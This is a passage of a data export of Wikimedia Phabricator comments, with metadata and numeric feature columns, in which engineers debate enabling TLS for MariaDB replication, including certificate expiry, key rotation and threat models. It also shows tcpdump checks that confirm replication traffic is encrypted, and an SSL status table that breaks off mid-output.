567431,Set up TLS for MariaDB replication,"> With our current setup, it takes 1 year to to a rolling restart of all our database boxes, and probably around 1000 man-hours

:-O I didn't expect that. Is it correct that just causing reconnects for every replication connection while ensuring no user impact is much less work and possible to do in a smaller time window? Perhaps then we should think of a solution that doesn't require a MariaDB restart, perhaps another process encrypting and authenticating the connection by tunneling it.
",,,1448314527,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,3.0,0.0,0.0,0.0,3.0,6.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,3.0,10.0,10.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,6.0,3.0,7.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,1.0,1.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,7.0,3.0,0.0,0.0,4.602941176470588,0.8676470588235294,"QUOTE

:-O I didn't expect that. Is it correct that just causing reconnects for every replication connection while ensuring no user impact is much less work and possible to do in a smaller time window? Perhaps then we should think of a solution that doesn't require a MariaDB restart, perhaps another process encrypting and authenticating the connection by tunneling it.
"
567069,Set up TLS for MariaDB replication,"> AFAIK there is no reason to not have an expiry time

With our current setup, it takes 1 year to to a rolling restart of all our database boxes, and probably around 1000 man-hours, which is required to roll in TLS everywhere. Creating a 6-month expiring cert will cause it expiring before it can be applied to half of the fleet. I am just being practical here. Once the SSL expires, wikipedia and all other projects stops working. So you are adding a threat with no payload (unlike dns). What it is worse, if a machine gets compromised, expiration adds no protection at all, while compromising all others, unlike my suggestion- so yours is less secure.

We should solve rolling issues first before imposing requirements that we cannot handle, assuming that we do not compromise the security more than we do right now, which was my point. The expiration directly impacts our availability. Can we have MITM attacks withing our internal network? Maybe. Is it an imminent problem? Probably we will have others problems if that happens first, but fixing authentication is out of the scope of this ticket.",,,1448282644,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,1.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,3.3333333333333335,2.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,7.333333333333333,9.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,6.333333333333333,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,3.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,10.666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.6666666666666665,6.333333333333333,2.3333333333333335,1.0,7.333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,7.666666666666667,9.333333333333334,1.3333333333333333,1.0,0.0,0.0,7.666666666666667,0.0,1.0,1.6666666666666667,0.0,3.3333333333333335,1.0,0.0,0.0,4.153454057679409,0.8010060362173038,"QUOTE

With our current setup, it takes 1 year to to a rolling restart of all our database boxes, and probably around 1000 man-hours, which is required to roll in TLS everywhere. Creating a 6-month expiring cert will cause it expiring before it can be applied to half of the fleet. I am just being practical here. Once the SSL expires, wikipedia and all other projects stops working. So you are adding a threat with no payload (unlike dns). What it is worse, if a machine gets compromised, expiration adds no protection at all, while compromising all others, unlike my suggestion- so yours is less secure.

We should solve rolling issues first before imposing requirements that we cannot handle, assuming that we do not compromise the security more than we do right now, which was my point. The expiration directly impacts our availability. Can we have MITM attacks withing our internal network? Maybe. Is it an imminent problem? Probably we will have others problems if that happens first, but fixing authentication is out of the scope of this ticket."
566902,Set up TLS for MariaDB replication,Maybe we should decouple expiry from connecting. For example we could implement checking expiry by a Jenkins job that uses the fact that we have all certificates in puppet.git. Maybe we can do even more checks in such a job.,,,1448232418,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,2.0,7.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,19.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,9.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,14.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,5.0,0.0,5.0,2.0,0.0,2.0,4.3023255813953485,0.7441860465116279,Maybe we should decouple expiry from connecting. For example we could implement checking expiry by a Jenkins job that uses the fact that we have all certificates in puppet.git. Maybe we can do even more checks in such a job.
566297,Set up TLS for MariaDB replication,"A compromised key affects us equivalently as if we were not using encryption nor authentication.

We do need to authenticate servers by cert. We may not rely on IPs for authentication (maybe we can't depending on our network configurations). We should authenticate clients by cert, but that is probably less important and can be done in a later step, authentication of clients via password over an authenticated and encrypted channel work.

We do not protect a name but the secret information in the DB and when what is accessed or written to it. If we do not check names, the trust model is thus incompatible with the general CA system, but the easiest way to defend against any CA compromise is to not tust all CAs. Thus if we only either trust directly enumerated certificates or our own CA we do not need to check names.

Besides keeping revocation small in classical HTTPS expiry is also to time limit the damage one CA can do to ones DNS entry. As with GPG it also is to time limit the damage one can do to ones own identities. Yes, that means in this case AFAIK all these reasons for having expiry do not apply. The only remaining relevant one I can think of is noticing outdated key information / configuration errors. AFAIK there is no reason to not have an expiry time (the availability argument below is only in regarding to how to pick expiry time).

> Also, identification tokens where already secure to start with, and not sent in plain text, so fake clients will not be able to login

In some lesser threat model perhaps, but the attacker we are trying to defend against is an active MitM.

> I do not see anyone here proposing ssh host keys being rotated regularly, as that creates more problems than it solves (clients being confused or malpractices like blindly trusting unknown host keys).

Part of doing key rotation is how to know about the new key. We should regularly rotate our ssh host keys, but first we need an easier way to know about the new key. We have improved here and we will continue to.

> This case is more similar to our puppet/salt than to https-

Yes. I haven't yet looked at the exact details of our implementation with either puppet nor salt. Having higher standards with mysql than puppet/salt makes no sense as the later can be used to change the previous.

> If all servers were compromised, and the revocation list was too long, we can create a new CA.

Yes, or only trust fully enumerated certs directly.

> I think it would be more secure to invest time on a non-expiring (or very long term), but unique key per server, easy to revoke individually, than a single key for all servers expiring simultaneously throughout the fleet (which has consequences of availability).

Security in this sense is directly opposed to availability. If we fail open then the attacker only needs to cause failure. Failing closed means being unavailable. That then degrades the same attack from compromise to denial of service. Securing against a denial of service is impossible against the type of attacker we chose to try to defend against. AFAIK we consciously chose to change so that we will be able to in practice value security over availability. I.e. normal status is available and secure, procedures are in place so that we can mitigate loss of availability and/or security, but if these fail we retain security by choosing to become unavailable.

 Yes, spreading the expiry over 6 month (or however long we would need in the worst case, like walk to each server and reinstall, after the first outage because of expiry to full replacement without running out of non-expired servers to serve the load) is probably a good idea.

While I talked about the goal, any incremental improvement in that direction is useful, even though it won't yet get us the ability to defend against the chosen threat model.",,,1448037345,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,20,True,0.8571428571428571,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,6.571428571428571,2.0,0.14285714285714285,0.14285714285714285,0.7142857142857143,2.5714285714285716,0.42857142857142855,0.0,0.7142857142857143,0.14285714285714285,4.285714285714286,0.0,6.571428571428571,14.142857142857142,0.0,2.857142857142857,0.2857142857142857,0.42857142857142855,0.0,0.7142857142857143,0.14285714285714285,0.0,0.14285714285714285,1.0,0.42857142857142855,0.0,4.857142857142857,1.7142857142857142,0.42857142857142855,0.14285714285714285,0.0,0.0,0.0,0.2857142857142857,0.0,0.5714285714285714,0.0,0.2857142857142857,3.4285714285714284,0.0,0.8571428571428571,0.0,0.0,0.0,14.0,0.42857142857142855,1.0,0.0,0.14285714285714285,0.14285714285714285,0.0,0.0,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.5714285714285714,1.5714285714285714,0.2857142857142857,0.0,0.0,0.0,0.0,5.0,3.2857142857142856,6.857142857142857,2.2857142857142856,3.0,7.285714285714286,0.0,0.0,0.0,0.0,5.571428571428571,0.5714285714285714,0.14285714285714285,0.0,5.0,14.142857142857142,2.0,0.0,0.0,0.0,5.0,0.0,0.5714285714285714,1.2857142857142858,0.2857142857142857,2.142857142857143,0.5714285714285714,0.2857142857142857,0.0,4.1697614183569245,0.72118050488837,"A compromised key affects us equivalently as if we were not using encryption nor authentication.

We do need to authenticate servers by cert. We may not rely on IPs for authentication (maybe we can't depending on our network configurations). We should authenticate clients by cert, but that is probably less important and can be done in a later step, authentication of clients via password over an authenticated and encrypted channel work.

We do not protect a name but the secret information in the DB and when what is accessed or written to it. If we do not check names, the trust model is thus incompatible with the general CA system, but the easiest way to defend against any CA compromise is to not tust all CAs. Thus if we only either trust directly enumerated certificates or our own CA we do not need to check names.

Besides keeping revocation small in classical HTTPS expiry is also to time limit the damage one CA can do to ones DNS entry. As with GPG it also is to time limit the damage one can do to ones own identities. Yes, that means in this case AFAIK all these reasons for having expiry do not apply. The only remaining relevant one I can think of is noticing outdated key information / configuration errors. AFAIK there is no reason to not have an expiry time (the availability argument below is only in regarding to how to pick expiry time).

QUOTE

In some lesser threat model perhaps, but the attacker we are trying to defend against is an active MitM.

QUOTE

Part of doing key rotation is how to know about the new key. We should regularly rotate our ssh host keys, but first we need an easier way to know about the new key. We have improved here and we will continue to.

QUOTE

Yes. I haven't yet looked at the exact details of our implementation with either puppet nor salt. Having higher standards with mysql than puppet/salt makes no sense as the later can be used to change the previous.

QUOTE

Yes, or only trust fully enumerated certs directly.

QUOTE

Security in this sense is directly opposed to availability. If we fail open then the attacker only needs to cause failure. Failing closed means being unavailable. That then degrades the same attack from compromise to denial of service. Securing against a denial of service is impossible against the type of attacker we chose to try to defend against. AFAIK we consciously chose to change so that we will be able to in practice value security over availability. I.e. normal status is available and secure, procedures are in place so that we can mitigate loss of availability and/or security, but if these fail we retain security by choosing to become unavailable.

 Yes, spreading the expiry over 6 month (or however long we would need in the worst case, like walk to each server and reinstall, after the first outage because of expiry to full replacement without running out of non-expired servers to serve the load) is probably a good idea.

While I talked about the goal, any incremental improvement in that direction is useful, even though it won't yet get us the ability to defend against the chosen threat model."
563325,Set up TLS for MariaDB replication,"@JanZerebecki Do not get me wrong, I think we should have the ability to do that. But how does a compromised key affect us?

A compromised key or CA for HTTPS means that somebody can pose as one of our sites from a third party client, which relies on a 3rd party authority to verify that. How does that affect us when we are our own client? Who are we giving a promise, if there is no 3rd party client in the first place? Also, host names are not checked against the cert parameters if all certs are shared. Specially when all the clients will be also servers due to replication chains (all servers will have client and server secrets), so if a client machine gets compromised, all servers do, too. We also do not use dns and certs to identify servers (although that could be [[ https://dev.mysql.com/doc/refman/5.6/en/ssl-options.html#option_general_ssl-verify-server-cert | enabled ]]). We use ips for authentication and passwords for authorization, accepting all keys signed by the CA. For practical reasons, we will not ban non-tls connections for non-replication users, at least not yet. Also, identification tokens where already secure to start with, and not sent in plain text, so fake clients will not be able to login, while fake replication servers could not create more problems than any other node within our internal network, while not exposing private data.

The only reason why certs expire (aside from clear economic reasons) is to maintain a list of finite revocations, something we [[ https://dev.mysql.com/doc/refman/5.6/en/ssl-options.html#option_general_ssl-crl | can do ]] in this case because clients are under our full control (unlike 3rd party users).

This case is more similar to our puppet/salt than to https- I think it would be more secure to invest time on a non-expiring (or very long term), but unique key per server, easy to revoke individually, than a single key for all servers expiring simultaneously throughout the fleet (which has consequences of availability). If all servers were compromised, and the revocation list was too long, we can create a new CA.

But again, I am here to get challenged. Key rotation is important, but I do not see anyone here proposing ssh host keys being rotated regularly, as that creates more problems than it solves (clients being confused or malpractices like blindly trusting unknown host keys).",,,1447632227,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,1.6,0.6,0.2,0.8,2.0,9.6,2.0,0.2,0.2,0.8,1.0,0.0,0.0,0.2,0.2,4.0,0.0,7.6,10.8,0.6,1.8,0.2,0.4,0.0,0.6,0.6,0.0,0.0,1.0,1.0,0.6,5.4,1.8,0.4,0.4,0.0,0.0,0.4,0.2,0.2,0.2,0.0,0.4,2.4,0.0,0.6,0.0,0.0,0.2,15.4,1.0,0.4,0.8,1.0,0.0,0.2,0.0,0.0,0.4,0.2,0.6,1.4,0.0,0.6,0.2,0.0,0.2,3.6,3.8,5.6,3.0,2.6,7.4,0.0,0.0,0.0,0.0,5.0,0.0,0.2,0.0,4.4,10.8,1.0,0.6,0.0,0.0,4.4,0.0,1.8,2.0,0.6,1.2,0.8,0.2,0.6,3.976469182990922,0.7508361204013377,"SCREEN_NAME Do not get me wrong, I think we should have the ability to do that. But how does a compromised key affect us?

A compromised key or CA for HTTPS means that somebody can pose as one of our sites from a third party client, which relies on a 3rd party authority to verify that. How does that affect us when we are our own client? Who are we giving a promise, if there is no 3rd party client in the first place? Also, host names are not checked against the cert parameters if all certs are shared. Specially when all the clients will be also servers due to replication chains (all servers will have client and server secrets), so if a client machine gets compromised, all servers do, too. We also do not use dns and certs to identify servers (although that could be [[ URL | enabled ]]). We use ips for authentication and passwords for authorization, accepting all keys signed by the CA. For practical reasons, we will not ban non-tls connections for non-replication users, at least not yet. Also, identification tokens where already secure to start with, and not sent in plain text, so fake clients will not be able to login, while fake replication servers could not create more problems than any other node within our internal network, while not exposing private data.

The only reason why certs expire (aside from clear economic reasons) is to maintain a list of finite revocations, something we [[ URL | can do ]] in this case because clients are under our full control (unlike 3rd party users).

This case is more similar to our puppet/salt than to https- I think it would be more secure to invest time on a non-expiring (or very long term), but unique key per server, easy to revoke individually, than a single key for all servers expiring simultaneously throughout the fleet (which has consequences of availability). If all servers were compromised, and the revocation list was too long, we can create a new CA.

But again, I am here to get challenged. Key rotation is important, but I do not see anyone here proposing ssh host keys being rotated regularly, as that creates more problems than it solves (clients being confused or malpractices like blindly trusting unknown host keys)."
563315,Set up TLS for MariaDB replication,Having an expiration date is a formalized promise that we are able to do key rotation. If one is not able to do key rotation / replacement then one can not recover from being compromised. Doing key rotation regularly hopefully ensures that we are able to do it also when concrete evidence shows that we should do it without waiting for its regular schedule. It also needs to be cheap so that one can do it just to be sure on a suspicion.,,,1447628197,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,1.0,2.0,13.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,16.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,5.0,1.0,0.0,3.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,8.0,5.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,4.080459770114943,0.6206896551724138,Having an expiration date is a formalized promise that we are able to do key rotation. If one is not able to do key rotation / replacement then one can not recover from being compromised. Doing key rotation regularly hopefully ensures that we are able to do it also when concrete evidence shows that we should do it without waiting for its regular schedule. It also needs to be cheap so that one can do it just to be sure on a suspicion.
563295,Set up TLS for MariaDB replication,"I've done a test installation of the above between es2008 and its slaves. When I compared:

On es2008:
```
tcpdump -i eth0 -s 0 -l -w - src host es1014.eqiad.wmnet | strings | grep INSERT

```

On es2009:

```
tcpdump -i eth0 -s 0 -l -w - src host es2008.codfw.wmnet | strings | grep INSERT
```

I could confirm no results in the second case.

No effect on replication lag, but obviously it would be very surprising if that happened with current external storage load on codfw.",,,1447617541,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9846153846153847,0.8,"I've done a test installation of the above between es2008 and its slaves. When I compared:

On es2008:
``CODE`CODE`CODE``

I could confirm no results in the second case.

No effect on replication lag, but obviously it would be very surprising if that happened with current external storage load on codfw."
563286,Set up TLS for MariaDB replication,"Two notes:
* Install libjemalloc1 as dependency of the new package
* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can.",,,1447612574,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,8.0,9.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0754716981132075,0.8490566037735849,"Two notes:
* Install libjemalloc1 as dependency of the new package
* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can."
563285,Set up TLS for MariaDB replication,"Too notes:
* Install libjemalloc1 as dependency of the new package
* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can.",,,1447612325,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,19,True,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,8.0,9.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0754716981132075,0.8490566037735849,"Too notes:
* Install libjemalloc1 as dependency of the new package
* I do not think an expiration time makes the setup more secure if it is not used for client authentication AND we control the CA and all the clients. Please challenge that statement if you can."
561659,Set up TLS for MariaDB replication,"This patch allows the configuration: https://gerrit.wikimedia.org/r/#/c/252447

Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.

Pending issues:

* Test and deploy new mysql version everywhere
* Generate an appropriate key/certs (buy or self-signed?)
* Solve key distribution and expiration, monitor expiration
* Restart and reconfigure replication to use SSL
* Configure replication user with `REQUIRE SSL`
",,,1447263671,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,14.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,3.0,6.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,4.172043010752688,0.7634408602150538,"This patch allows the configuration: URL

Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.

Pending issues:

* Test and deploy new mysql version everywhere
* Generate an appropriate key/certs (buy or self-signed?)
* Solve key distribution and expiration, monitor expiration
* Restart and reconfigure replication to use SSL
* Configure replication user with CODE
"
561645,Set up TLS for MariaDB replication,"This patch allows the configuration: https://gerrit.wikimedia.org/r/#/c/252447

Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.

Pending issues:

* Test and deploy new mysql version everywhere
* Generate an appropriate key/certs (buy or self-signed?)
* Solve key distribution and expiration, monitor expiration
* Configure replication user with `REQUIRE SSL`
* Restart and reconfigure replication to use SSL",,,1447262009,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,14.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,3.0,7.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,4.206521739130435,0.7717391304347826,"This patch allows the configuration: URL

Please let me continue using SSL terminology, as it is the one used by mysql server for legacy reasons, even if we are actually using TLS.

Pending issues:

* Test and deploy new mysql version everywhere
* Generate an appropriate key/certs (buy or self-signed?)
* Solve key distribution and expiration, monitor expiration
* Configure replication user with CODE
* Restart and reconfigure replication to use SSL"
561612,Set up TLS for MariaDB replication,"This the result after linking to openssl, reinstalling and configuring the server with `ssl-cipher=TLSv1.2`. I tnink it has a more reasonable list of available ciphers:

```
MariaDB PRODUCTION s6 localhost (none) > SHOW STATUS like '%ssl%';
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Variable_name                  | Value                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Com_show_processlist           | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_accepts                    | 6                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_cipher                     | DHE-RSA-AES256-GCM-SHA384                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| Ssl_cipher_list                | ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:DH-DSS-AES256-GCM-SHA384:DHE-DSS-AES256-GCM-SHA384:DH-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:DH-RSA-AES256-SHA256:DH-DSS-AES256-SHA256:ADH-AES256-GCM-SHA384:ADH-AES256-SHA256:ECDH-RSA-AES256-GCM-SHA384:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-RSA-AES256-SHA384:ECDH-ECDSA-AES256-SHA384:AES256-GCM-SHA384:AES256-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:DH-DSS-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:DH-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:DH-RSA-AES128-SHA256:DH-DSS-AES128-SHA256:ADH-AES128-GCM-SHA256:ADH-AES128-SHA256:ECDH-RSA-AES128-GCM-SHA256:ECDH-ECDSA-AES128-GCM-SHA256:ECDH-RSA-AES128-SHA256:ECDH-ECDSA-AES128-SHA256:AES128-GCM-SHA256:AES128-SHA256:NULL-SHA256 |
| Ssl_client_connects            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_ctx_verify_depth           | 18446744073709551615                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| Ssl_ctx_verify_mode            | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_default_timeout            | 7200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| Ssl_finished_accepts           | 2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_finished_connects          | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_session_cache_mode         | SERVER                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_session_cache_size         | 128                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
